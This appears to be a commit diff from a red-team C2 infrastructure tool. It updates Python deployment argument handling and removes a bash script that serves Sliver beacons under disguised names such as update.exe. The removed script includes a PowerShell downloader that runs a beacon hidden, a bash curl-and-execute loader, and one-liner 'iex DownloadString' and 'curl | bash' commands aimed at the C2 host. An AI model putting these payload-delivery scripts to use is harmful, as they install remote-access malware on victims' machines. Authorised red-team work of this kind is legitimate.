# Tracker options # Tracker options
if hasattr(args, 'deploy_tracker'):
config['deploy_tracker'] = args.deploy_tracker config['deploy_tracker'] = args.deploy_tracker
if hasattr(args, 'integrated_tracker'):
config['integrated_tracker'] = args.integrated_tracker config['integrated_tracker'] = args.integrated_tracker
if args.deploy_tracker: if args.deploy_tracker:
if hasattr(args, 'tracker_domain'):
config['tracker_domain'] = args.tracker_domain or f"track.{config['domain']}" config['tracker_domain'] = args.tracker_domain or f"track.{config['domain']}"
if hasattr(args, 'tracker_email'):
config['tracker_email'] = args.tracker_email or config['letsencrypt_email'] config['tracker_email'] = args.tracker_email or config['letsencrypt_email']
if hasattr(args, 'tracker_ipinfo_token'):
config['tracker_ipinfo_token'] = args.tracker_ipinfo_token config['tracker_ipinfo_token'] = args.tracker_ipinfo_token
if hasattr(args, 'tracker_setup_ssl'):
config['tracker_setup_ssl'] = args.tracker_setup_ssl config['tracker_setup_ssl'] = args.tracker_setup_ssl
if hasattr(args, 'tracker_create_pixel'):
config['tracker_create_pixel'] = args.tracker_create_pixel config['tracker_create_pixel'] = args.tracker_create_pixel
# Set the integrated tracker flag for deployment # Set the integrated tracker flag for deployment
@@ -1670,9 +2229,11 @@ C2ingRed - Red Team Infrastructure Setup
config['setup_integrated_tracker'] = True config['setup_integrated_tracker'] = True
# SSH after deploy # SSH after deploy
if hasattr(args, 'ssh_after_deploy'):
config['ssh_after_deploy'] = args.ssh_after_deploy config['ssh_after_deploy'] = args.ssh_after_deploy
# Run tests # Run tests
if hasattr(args, 'run_tests'):
config['run_tests'] = args.run_tests config['run_tests'] = args.run_tests
# Make sure we have the public key path if we're generating one # Make sure we have the public key path if we're generating one
@@ -1686,35 +2247,11 @@ C2ingRed - Red Team Infrastructure Setup
alt_path = f"{config['ssh_key']}.pub" alt_path = f"{config['ssh_key']}.pub"
if os.path.exists(alt_path): if os.path.exists(alt_path):
config['ssh_key_path'] = alt_path config['ssh_key_path'] = alt_path
elif not args.teardown: # Only generate new key if not in teardown mode elif not hasattr(args, 'teardown'): # Only generate new key if not in teardown mode
logging.warning(f"Public key not found at {config['ssh_key_path']}. Generating a new key.") logging.warning(f"Public key not found at {config['ssh_key_path']}. Generating a new key.")
config['ssh_key'] = generate_ssh_key(deployment_id) config['ssh_key'] = generate_ssh_key(deployment_id) # Use the same deployment ID
config['ssh_key_path'] = f"{config['ssh_key']}.pub" config['ssh_key_path'] = f"{config['ssh_key']}.pub"
# Validate deployment mode
if config.get('redirector_only') and config.get('c2_only'):
logging.error("Cannot specify both --redirector-only and --c2-only")
return
# Log configuration (excluding sensitive data)
logging.info("Deployment configuration:")
for key, value in config.items():
if key not in ['aws_secret_key', 'linode_token', 'smtp_auth_pass', 'tracker_ipinfo_token']:
if isinstance(value, (dict, list)):
logging.info(f" {key}: <complex data>")
else:
logging.info(f" {key}: {value}")
# Check if this is a teardown operation
if args.teardown:
teardown_infrastructure(config)
return
# Check if this is a test operation
if args.run_tests:
run_tests(config)
return
# Run deployment # Run deployment
try: try:
# Deploy the standard infrastructure first (redirector + C2) # Deploy the standard infrastructure first (redirector + C2)
@@ -1774,7 +2311,23 @@ C2ingRed - Red Team Infrastructure Setup
except KeyboardInterrupt: except KeyboardInterrupt:
print("\nCleanup interrupted. Resources may still exist.") print("\nCleanup interrupted. Resources may still exist.")
logging.warning("Cleanup interrupted by user. Resources may still exist.") logging.warning("Cleanup interrupted by user. Resources may still exist.")
else:
# No arguments - launch the interactive menu
try:
# Generate a deployment ID first
deployment_id = generate_deployment_id()
# Set up logging
log_file = setup_logging(deployment_id)
# Check dependencies
check_dependencies()
# Launch the menu
main_menu()
except KeyboardInterrupt:
print(f"\n\n{COLORS['YELLOW']}Operation interrupted by user.{COLORS['RESET']}")
sys.exit(0)
if __name__ == "__main__": if __name__ == "__main__":
main() main()
-197
View File
@@ -1,197 +0,0 @@
#!/bin/bash
# Script to serve Sliver beacons generated by generate_evasive_beacons.sh
# Configuration
BEACONS_DIR="/root/Tools/beacons"
C2_HOST="{{ ansible_host }}"
LISTEN_PORT=8443
# Check if manifest file exists (created by generate_evasive_beacons.sh)
if [ -f "$BEACONS_DIR/manifest.json" ]; then
echo "[+] Found beacon manifest file - using Sliver beacons generated previously"
# Extract beacon paths from manifest
WIN_EXE=$(jq -r '.windows_exe' "$BEACONS_DIR/manifest.json")
WIN_DLL=$(jq -r '.windows_dll' "$BEACONS_DIR/manifest.json")
LINUX_BIN=$(jq -r '.linux_binary' "$BEACONS_DIR/manifest.json")
MAC_BIN=$(jq -r '.macos_binary' "$BEACONS_DIR/manifest.json")
WIN_STAGER=$(jq -r '.windows_stager' "$BEACONS_DIR/manifest.json")
# Print beacon info
echo "[+] Using these Sliver beacons:"
echo " - Windows EXE: $WIN_EXE"
echo " - Windows DLL: $WIN_DLL"
echo " - Linux Binary: $LINUX_BIN"
echo " - macOS Binary: $MAC_BIN"
echo " - Windows Stager: $WIN_STAGER"
else
echo "[!] No manifest file found. Please run generate_evasive_beacons.sh first."
echo "[!] Will search for beacons in $BEACONS_DIR..."
# Try to find beacons directly
WIN_EXE=$(find "$BEACONS_DIR" -maxdepth 1 -name "*.exe" ! -path "*/staged/*" | head -n 1)
WIN_DLL=$(find "$BEACONS_DIR" -maxdepth 1 -name "*.dll" | head -n 1)
LINUX_BIN=$(find "$BEACONS_DIR" -maxdepth 1 -type f -executable -not -path "*/\.*" ! -name "*.sh" ! -name "*.exe" ! -name "*.dll" | head -n 1)
MAC_BIN=$(find "$BEACONS_DIR" -maxdepth 1 -name "*mac*" -o -name "*darwin*" | head -n 1)
WIN_STAGER=$(find "$BEACONS_DIR/staged" -name "*.exe" | head -n 1)
# Check if we found any beacons
if [ -z "$WIN_EXE" ] && [ -z "$LINUX_BIN" ]; then
echo "[!] No Sliver beacons found. Please run generate_evasive_beacons.sh first."
exit 1
fi
fi
# Create temporary directory for web server
TEMP_DIR=$(mktemp -d)
mkdir -p $TEMP_DIR/downloads
mkdir -p $TEMP_DIR/scripts
# Copy beacons to web directory with generic names
if [ -n "$WIN_EXE" ]; then
cp "$BEACONS_DIR/$WIN_EXE" $TEMP_DIR/downloads/update.exe
echo "[+] Serving Windows EXE: $WIN_EXE"
fi
if [ -n "$WIN_DLL" ]; then
cp "$BEACONS_DIR/$WIN_DLL" $TEMP_DIR/downloads/module.dll
echo "[+] Serving Windows DLL: $WIN_DLL"
fi
if [ -n "$LINUX_BIN" ]; then
cp "$BEACONS_DIR/$LINUX_BIN" $TEMP_DIR/downloads/update-linux
echo "[+] Serving Linux Binary: $LINUX_BIN"
fi
if [ -n "$MAC_BIN" ]; then
cp "$BEACONS_DIR/$MAC_BIN" $TEMP_DIR/downloads/update-mac
echo "[+] Serving macOS Binary: $MAC_BIN"
fi
if [ -n "$WIN_STAGER" ]; then
cp "$BEACONS_DIR/$WIN_STAGER" $TEMP_DIR/downloads/stager.exe
echo "[+] Serving Windows Stager: $WIN_STAGER"
fi
# Copy loader scripts if they exist
if [ -f "$BEACONS_DIR/windows_loader.ps1" ]; then
cp "$BEACONS_DIR/windows_loader.ps1" $TEMP_DIR/scripts/
echo "[+] Serving Windows PowerShell loader"
fi
if [ -f "$BEACONS_DIR/linux_loader.sh" ]; then
cp "$BEACONS_DIR/linux_loader.sh" $TEMP_DIR/scripts/
echo "[+] Serving Linux bash loader"
fi
# Create additional PowerShell downloader script
cat > $TEMP_DIR/scripts/beacon.ps1 << 'EOFPS'
# PowerShell downloader for Sliver beacons
$ErrorActionPreference = 'SilentlyContinue'
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
# Random temporary file
$tempFile = Join-Path $env:TEMP ("update-" + (New-Guid) + ".exe")
# Download and execute
try {
$webClient = New-Object System.Net.WebClient
$webClient.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36")
$webClient.DownloadFile("http://C2HOST:C2PORT/downloads/update.exe", $tempFile)
Start-Process -WindowStyle Hidden $tempFile
"Successfully downloaded and executed update."
} catch {
"Error during update process."
}
EOFPS
# Replace placeholders
sed -i "s/C2HOST/$C2_HOST/g" $TEMP_DIR/scripts/beacon.ps1
sed -i "s/C2PORT/$LISTEN_PORT/g" $TEMP_DIR/scripts/beacon.ps1
# Create Linux bash download script
cat > $TEMP_DIR/scripts/beacon.sh << 'EOFSH'
#!/bin/bash
# Linux download and execute Sliver beacon
# Download binary to /tmp with random name
TMPFILE="/tmp/update-$(cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 8 | head -n 1)"
curl -s -o $TMPFILE http://C2HOST:C2PORT/downloads/update-linux
chmod +x $TMPFILE
# Execute in background
$TMPFILE &
echo "Update complete."
EOFSH
# Replace placeholders
sed -i "s/C2HOST/$C2_HOST/g" $TEMP_DIR/scripts/beacon.sh
sed -i "s/C2PORT/$LISTEN_PORT/g" $TEMP_DIR/scripts/beacon.sh
chmod +x $TEMP_DIR/scripts/beacon.sh
# Create helpful index page
cat > $TEMP_DIR/index.html << EOL
<!DOCTYPE html>
<html>
<head>
<title>Sliver Beacon Downloads</title>
<style>
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
h1 { color: #333; }
.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
.warning { color: #a00; font-weight: bold; }
code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
</style>
</head>
<body>
<h1>Sliver Beacon Downloads</h1>
<div class="section">
<h2>Available Beacons</h2>
<ul>
<li><a href="/downloads/update.exe">Windows Beacon</a></li>
<li><a href="/downloads/module.dll">Windows DLL Beacon</a></li>
<li><a href="/downloads/update-linux">Linux Beacon</a></li>
<li><a href="/downloads/update-mac">macOS Beacon</a></li>
<li><a href="/downloads/stager.exe">Windows Stager</a></li>
</ul>
</div>
<div class="section">
<h2>Auto-Download Scripts</h2>
<ul>
<li><a href="/scripts/beacon.ps1">Windows PowerShell Downloader</a></li>
<li><a href="/scripts/beacon.sh">Linux Bash Downloader</a></li>
<li><a href="/scripts/windows_loader.ps1">PowerShell C2 Loader</a></li>
<li><a href="/scripts/linux_loader.sh">Bash C2 Loader</a></li>
</ul>
</div>
<div class="section">
<h2>Quick Commands</h2>
<p>Windows PowerShell:</p>
<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/scripts/beacon.ps1')"</code>
<p>Linux Bash:</p>
<code>curl -s http://$C2_HOST:$LISTEN_PORT/scripts/beacon.sh | bash</code>
</div>
</body>
</html>
EOL
# Start Python HTTP server in background
cd $TEMP_DIR
nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
SERVER_PID=$!
echo "[+] Started Sliver beacon server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
# Print useful information for the operator
echo "[+] Sliver beacons server is now running at http://$C2_HOST:$LISTEN_PORT/"
echo "[+] Available Sliver beacons:"
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/update.exe (Windows EXE)"
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/module.dll (Windows DLL)"
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/update-linux (Linux Binary)"
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/update-mac (macOS Binary)"
echo " - http://$C2_HOST:$LISTEN_PORT/downloads/stager.exe (Windows Stager)"
echo ""
echo "[+] Quick PowerShell download command:"
echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/scripts/beacon.ps1')\""
echo ""
echo "[+] Quick Linux download command:"
echo "curl -s http://$C2_HOST:$LISTEN_PORT/scripts/beacon.sh | bash"